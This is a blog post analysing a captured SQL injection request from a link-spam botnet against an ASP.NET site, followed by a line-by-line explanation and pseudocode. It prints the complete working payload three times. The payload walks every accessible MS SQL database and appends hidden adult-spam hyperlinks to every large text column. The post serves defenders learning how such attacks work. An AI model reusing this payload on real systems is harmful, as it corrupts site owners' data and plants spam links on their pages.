Thursday, November 12, 2015

PageRank BotNet SQLi Analysis

Below is my line-by-line analysis of a PageRank BotNet SQLi (SQL Injection) attempt. At the end is a nice little Pseduo code summary as well.

First there was an ugly HTTP GET request made to a .NET aspx page. See all the code pasted here.


*********************
GET /page.aspx?id=999');declare%20@b%20cursor;declare%20@s%20varchar(8000);declare%20@w%20varchar(99);set%20@b=cursor%20for%20select%20DB_NAME()%20union%20select%20name%20from%20sys.databases%20where%20(has_dbaccess(name)!=0)%20and%20name%20not%20in%20('master','tempdb','model','msdb',DB_NAME());open%20@b;fetch%20next%20from%20@b%20into%20@w;while%20@@FETCH_STATUS=0%20begin%20set%20@s='begin%20try%20use%20'%2B@w%2B';declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20''update%20%5B''%2BTABLE_NAME%2B''%5D%20set%20%5B''%2BCOLUMN_NAME%2B''%5D=%5B''%2BCOLUMN_NAME%2B''%5D%2Bcase%20ABS(CHECKSUM(NewId()))%2510%20when%200%20then%20''''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''group%20sex%20stories%20with%20pictures%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2B''www.ohiovalleyrestoration.com''%2Bchar(47)%2B''blog''%2Bchar(47)%2B''template''%2Bchar(47)%2B''page''%2Bchar(47)%2B''moms-sex-stories.aspx%22''%2Bchar(62)%2B''''''%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''''stories%20of%20sex''''%20when%201%20then%20''''ohiovalleyrestoration.com''''%20else%20''''read''''%20end%20%2B''''''%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20hot%20hot%20interracial%20sex%20stories''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''''%20else%20''''''''%20end''%20FROM%20sysin dexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid%20in%20(0,1))%20and%20DATA_TYPE%20like%20''%25varchar''%20and(CHARACTER_MAXIMUM_LENGTH%20in%20(2147483647,-1));open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c%20end%20try%20begin%20catch%20end%20catch';exec%20(@s);fetch%20next%20from%20@b%20into%20@w;end;close%20@b--
*********************


If you URL decode it you get something a bit more readable.


*********************
GET /page.aspx?id=999');declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''group sex stories with pictures ''+char(60)+''a href="http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories of sex'''' when 1 then ''''ohiovalleyrestoration.com'''' else ''''read'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' hot hot interracial sex stories''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--
*********************


Then if you add some spacing and identification you get something we can talk about.


*********************
');
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('
master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] +
case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysin dexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';
exec (@s);
fetch next from @b into @w;
end;
close @b--
*********************


Now let's do a line by line review of this attack.

');

This is where the SQL injection actually starts. If some developer didn't used prepared statements or forgot to sanitize apostrophes, let the fun begin. The attacker can now end the current statement and start a new one of his own. An attack could now potentially pass a huge ugly collection of SQL statements into the .NET website as a parameter, and the C# or VB.NET code behind might simply pass this code directly to the Microsoft SQL Server database and execute it as-is. If so, that could spell the end of your database and your server as it'll quickly be owned by the attacker.


*********************
declare @b cursor;
declare @s varchar(8000);
declare @w varchar(99);

*********************


The above lines are the start of a collection of Microsoft SQL statements. If you're a developer or DBA, you might see stuff like this in a Stored Procedure for example. In the above 3 lines, they're declaring 3 variables 1.) @b as a cursor which allows the attacker to iterate through the results of his first query on your database 2.) @s as a large string which will eventually hold the actual query they want to run on your database 3.) @w as something to hold the database name he's going to attack later on.


*********************
set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master ',' tempdb ',' model ',' msdb ',DB_NAME());
open @b;fetch next from @b into @w;
while @@FETCH_STATUS=0 begin

*********************


The attacker is going to run his first query on your database and iterate through the results with @b. The first thing the attacker does is figure out what databases he actually has access to (since he probably knows next to nothing about who you are, what server he's on, who owns it, what it's name is, etc.). He actually probably doesn't care about the answer to most of those questions, he just needs to know which databases he has access to so he can run the next set of queries below. Think of it as getting dropped into a dark room without lights. You're in, but you don't know where. First thing you're going to do is scratch around the wall for a light switch to see which room you're actually in. Think of this as a loop, for each database I have access to run some commands against it. Each time through the loop the database name gets saved in @w.


*********************
set @s='begin
try use '+@w+';
declare@ c cursor;
declare@ d varchar(4000);

*********************


Next the attacker is getting ready to nest cursors and run a 2nd query against each database he has access to. The first thing he has to do is tell SQL to use the database name stored in @w. Now that he's in that database, he is going to declare 2 new variables. 1.) @c is a cursor that will allow him to iterate through the results of the next query 2.) @d is a large string that will store an update SQL statement he's generating and going to run against your database.


*********************
set@ c = cursor for select '' update['' + TABLE_NAME + ''] set['' + COLUMN_NAME + ''] = ['' + COLUMN_NAME + ''] + case ABS(CHECKSUM(NewId())) % 10 when 0 then '' '' '' + char(60) + '' div style = "display:none" '' + char(62) + '' group sex stories with pictures '' + char(60) + '' a href = "http:''+char(47)+char(47)+''www.ohiovalleyrestoration.com''+char(47)+''blog''+char(47)+''template''+char(47)+''page''+char(47)+''moms-sex-stories.aspx" '' + char(62) + '' '' '' + case ABS(CHECKSUM(NewId())) % 3 when 0 then '' '' stories of sex '' '' when 1 then '' '' ohiovalleyrestoration.com '' '' else '' '' read '' '' end + '' '' '' + char(60) + char(47) + '' a '' + char(62) + '' hot hot interracial sex stories '' + char(60) + char(47) + '' div '' + char(62) + '' '' '' else '' '' '' '' end '' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id = o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME = TABLE_NAME WHERE(indid in (0, 1)) and DATA_TYPE like '' % varchar '' and(CHARACTER_MAXIMUM_LENGTH in (2147483647, -1));
*********************


Now for the payload, or the thing that makes this SQL injection unique. He's running a select (read) query against the database he's currently in (remember he's going to do this for every database he has access to). The SQL statement is looking thru every table in that databases (using system tables like sysindexs and sysobjects). For each table it's looking for all fields that are of type string (DATA_TYPE like '%varchar) and have a certain max length that will fit the data he wants in it. Then he's returning a row for each one of those table/column combinations that will be used below to actually overwrite that column with a new value that he's supplying. In this case it's a hyperlink (<a href) to a website/page that he wants to skyrocket in the Google search results. The idea is that hopefully some of these columns get displayed back out on the website and this will generate a bunch of links back to the evil site causing Google search bot to get all excited and happy that the site has so many links referencing it, thus thinking it's important, and thus skyrocketing it to the top of the search results.


*********************
open@ c;
fetch next from@ c into@ d;
while@@ FETCH_STATUS = 0 begin

*********************


The query is run, each row/result is a SQL update statement saved the into @d variable.


*********************
exec(@d);
fetch next from@ c into@ d;
end;
close@ c end try begin catch end catch ';

*********************


The update statement @d is actually executed against the current database we're in, essentially overwriting every large string (varchar) column with these hyperlinks.


*********************
exec (@s);

*********************


It's nested cursors, so this exec statement against the first cursor (@s) is what actually calls that 2nd cursor (@d) and runs all the statements.


*********************
fetch next from @b into @w;
end;
close @b--

*********************


Then the cursors are closed/cleaned up. Notice the -- at the end, that is standard SQL Injection, to ensure that the remainder of whatever was supposed to run is commented out.

Since the above code, even when broke out and explained, it pretty complex, I thought I'd write some simpler Psuedo Code below to summarize it.




*********************
for-each Database 'db' I have access to
  for-each Table 'tb' in the 'db'
    for-each Column 'c1' in the 'tb'
      if c1 is a large varchar
        overwrite c1 with my hyperlink

*********************


If you want to learn more about SQL Injection check owasp. If you want an example of a tool to prevent SQL Injection in Microsoft .NET code try the WPL (Web Protection Library).

More about neonprimetime


Top Blogs of all-time
  1. ali.txt php injection walk-thru
  2. apache struts2 rce walk-thru
  3. crash 1/3 internet


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

3 comments: